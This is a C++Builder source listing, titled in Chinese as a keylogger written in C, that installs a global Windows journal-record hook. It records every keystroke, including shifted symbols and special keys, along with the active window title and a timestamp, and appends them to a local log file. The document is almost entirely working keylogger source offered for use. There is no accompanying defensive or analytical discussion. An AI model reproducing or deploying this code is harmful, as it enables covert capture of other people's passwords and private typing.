C写的一个键盘记录程序

  1 //---------------------------------------------------------------------------
  2  
  3 #include <vcl.h>
  4  
  5 #include <stdio.h>
  6 #pragma hdrstop
  7  
  8 #include \"main.h\"
  9 //---------------------------------------------------------------------------
 10 #pragma package(smart_init)
 11 #pragma resource \"*.dfm\"
 12 //---------------------------------------------------------------------------
 13 HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
 14 //钩子变量
 15 HHOOK g_hLogHook=NULL;
 16 //记录上一次得到焦点的窗口句柄
 17 HWND g_hLastFocus=NULL;
 18 //键盘掩码变量
 19 const int KeyPressMask=0x80000000;
 20 //保存上一次按键值
 21 //char g_PrvChar;
 22 //---------------------------------------------------------------------------
 23 HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
 24 {
 25     if(iCode<0) return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
 26     if(iCode==HC_ACTION)
 27     {
 28         EVENTMSG* pEvt=(EVENTMSG*)lParam;
 29         int i;
 30         HWND hFocus;                 //保存当前活动窗口句柄
 31         char szTitle[256];              //当前窗口名称
 32         char szTime[128];               //当前的Ri期和时间
 33         FILE *stream=fopen(\"f:\\My\\logfile.txt\",\"a+\");
 34        if(pEvt->message==WM_KEYDOWN)
 35        {
 36            int vKey=LOBYTE(pEvt->paramL);    //取得虚拟键值
 37  
 38            char ch;
 39            char str[10];
 40            hFocus=GetActiveWindow();       //获得活动窗口的句柄
 41  
 42            if(g_hLastFocus!=hFocus)
 43            {
 44                GetWindowText(hFocus,szTitle,256);  //取得一个窗体的标题
 45                g_hLastFocus=hFocus;
 46  
 47                strcpy(szTime,DateTimeToStr(Now()).c_str());
 48  
 49                fprintf(stream,\"%c%s%c%c%s\",10,szTime,32,32,szTitle);
 50  
 51                fprintf(stream,\"%c%c\",32,32);
 52            }
 53  
 54            int iShift=GetKeyState(0x10);
 55            int iCapital=GetKeyState(0x14);
 56            int iNumLock=GetKeyState(0x90);
 57  
 58            bool bShift=(iShift&KeyPressMask)==KeyPressMask;
 59            bool bCapital=(iCapital&1)==1;
 60            bool bNumLock=(iNumLock&1)==1;
 61  
 62            if(vKey==9)                //TAB
 63                fprintf(stream,\"%c\",'\t');
 64            if(vKey==13)               //回车键
 65                fprintf(stream,\"%c\",'\n');
 66            if(vKey>=48 && vKey<=57)         //数字键0-9
 67            {
 68                if(!bShift)
 69                    fprintf(stream,\"%c\",vKey);
 70                else
 71                {
 72                    switch(vKey)
 73                    {
 74                    case 49:
 75                        ch='!';
 76                        break;
 77                    case 50:
 78                        ch='@';
 79                        break;
 80                    case 51:
 81                        ch='#';
 82                        break;
 83                    case 52:
 84                        ch='$';
 85                        break;
 86                    case 53:
 87                        ch='%';
 88                        break;
 89                    case 54:
 90                        ch='^';
 91                        break;
 92                    case 55:
 93                        ch='&';
 94                        break;
 95                    case 56:
 96                        ch='*';
 97                        break;
 98                    case 57:
 99                        ch='(';
100                        break;
101                    case 48:
102                        ch=')';
103                        break;
104                    }
105                    fprintf(stream,\"%c\",ch);
106                }
107            }
108  
109            if(vKey>=65 && vKey<=90)           //A-Z a-z
110            {
111                if(!bCapital)
112                {
113                    if(bShift)
114                        ch=vKey;
115                    else
116                        ch=vKey+32;
117                }
118                else if(bShift)
119                    ch=vKey+32;
120                else
121                    ch=vKey;
122                fprintf(stream,\"%c\",ch);
123            }
124  
125            if(vKey>=96 && vKey<=105)          //小键盘0-9
126            {
127                if(bNumLock)
128                    fprintf(stream,\"%c\",vKey-96+48);
129            }
130  
131            if(vKey>=186 && vKey<=222)         //其它键
132            {
133                switch(vKey)
134                {
135                    case 186:
136                        if (!bShift)
137                            ch=';';
138                        else
139                            ch=':';
140                        break;
141                    case 187:
142                        if (!bShift)
143                            ch='=';
144                        else
145                            ch='+';
146                        break;
147                    case 188:
148                        if (!bShift)
149                            ch=',';
150                        else
151                            ch='<';
152                        break;
153                    case 189:
154                        if (!bShift)
155                            ch='-';
156                        else
157                            ch='_';
158                        break;
159                    case 190:
160                        if (!bShift)
161                            ch='.';
162                        else
163                            ch='>';
164                        break;
165                    case 191:
166                        if (!bShift)
167                            ch='/';
168                        else
169                            ch='?';
170                        break;
171                    case 192:
172                        if (!bShift)
173                            ch='`';
174                        else
175                            ch='~';
176                        break;
177                    case 219:
178                        if (!bShift)
179                            ch='[';
180                        else
181                            ch='{';
182                        break;
183                    case 220:
184                        if (!bShift)
185                            ch='\\';
186                        else
187                            ch='|';
188                        break;
189                    case 221:
190                        if (!bShift)
191                            ch=']';
192                        else
193                            ch='}';
194                        break;
195                    case 222:
196                        if (!bShift)
197                            ch='\'';
198                        else
199                            ch='\\"';
200                        break;
201                    default:
202                        ch='n';
203                        break;
204                }
205                if (ch!='n' )
206                    fprintf(stream,\"%c\",ch);
207            } //
208            if(vKey>=112 && vKey<=123)           // 功能键 [F1]-[F12]
209            {
210                switch(wParam)
211                {
212                    case 112:
213                        fprintf(stream,\"%s\",\"[F1]\");
214                        break;
215                    case 113:
216                        fprintf(stream,\"%s\",\"[F2]\");
217                        break;
218                    case 114:
219                        fprintf(stream,\"%s\",\"[F3]\");
220                        break;
221                    case 115:
222                        fprintf(stream,\"%s\",\"[F4]\");
223                        break;
224                    case 116:
225                        fprintf(stream,\"%s\",\"[F5]\");
226                        break;
227                    case 117:
228                        fprintf(stream,\"%s\",\"[F6]\");
229                        break;
230                    case 118:
231                        fprintf(stream,\"%s\",\"[F7]\");
232                        break;
233                    case 119:
234                        fprintf(stream,\"%s\",\"[F8]\");
235                        break;
236                    case 120:
237                        fprintf(stream,\"%s\",\"[F9]\");
238                        break;
239                    case 121:
240                        fprintf(stream,\"%s\",\"[F10]\");
241                        break;
242                    case 122:
243                        fprintf(stream,\"%s\",\"[F11]\");
244                        break;
245                    case 123:
246                        fprintf(stream,\"%s\",\"[F12]\");
247                        break;
248                }
249            }
250            if (vKey>=8 && vKey<=46)             //方向键
251            {
252                switch (vKey)
253                {
254                    case 8:
255                        strcpy(str,\"[BK]\");
256                        break;
257                    case 9:
258                        strcpy(str,\"[TAB]\");
259                        break;
260                    case 13:
261                        strcpy(str,\"[EN]\");
262                        break;
263                    case 27:
264                        strcpy(str,\"[ESC]\");
265                        break;
266                    case 32:
267                        strcpy(str,\"[SP]\");
268                        break;
269                    case 33:
270                        strcpy(str,\"[PU]\");
271                        break;
272                    case 34:
273                        strcpy(str,\"[PD]\");
274                        break;
275                    case 35:
276                        strcpy(str,\"[END]\");
277                        break;
278                    case 36:
279                        strcpy(str,\"[HOME]\");
280                        break;
281                    case 37:
282                        strcpy(str,\"[LF]\");
283                        break;
284                    case 38:
285                        strcpy(str,\"[UF]\");
286                        break;
287                    case 39:
288                        strcpy(str,\"[RF]\");
289                        break;
290                    case 40:
291                        strcpy(str,\"[DF]\");
292                        break;
293                    case 45:
294                        strcpy(str,\"[INS]\");
295                        break;
296                    case 46:
297                        strcpy(str,\"[DEL]\");
298                        break;
299                    default:
300                        ch='n';
301                        break;
302                }
303                if (ch!='n' )
304                {
305                    //if (g_PrvChar!=vKey)
306                    //{
307                        fprintf(stream,\"%s\",str);
308                        //g_PrvChar=vKey;
309                    //}
310                }
311            }
312        }
313        if(pEvt->message==WM_LBUTTONDOWN||pEvt->message==WM_RBUTTONDOWN)
314        {
315            hFocus=GetActiveWindow();
316            if(g_hLastFocus!=hFocus)
317            {
318                g_hLastFocus=hFocus;
319                GetWindowText(hFocus,szTitle,256);
320                strcpy(szTime,DateTimeToStr(Now()).c_str());
321                fprintf(stream,\"%c%s%c%c%s\",10,szTime,32,32,szTitle);
322                fprintf(stream,\"%c%c\",32,32);
323            }
324        }
325        fclose(stream);
326    }
327    return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
328 }
329 //---------------------------------------------------------------------------
330 TForm1 *Form1;
331 //---------------------------------------------------------------------------
332 __fastcall TForm1::TForm1(TComponent* Owner)
333    : TForm(Owner)
334 {
335 }
336 //---------------------------------------------------------------------------
337 void __fastcall TForm1::ButtonInstallClick(TObject *Sender)
338 {
339 if(g_hLogHook==NULL)
340    g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
341 }
342 //---------------------------------------------------------------------------
343 void __fastcall TForm1::ButtonUninstallClick(TObject *Sender)
344 {
345 if(g_hLogHook!=NULL)
346 {
347    UnhookWindowsHookEx(g_hLogHook);
348    g_hLogHook=NULL;
349 }
350 }
351 //---------------------------------------------------------------------------
352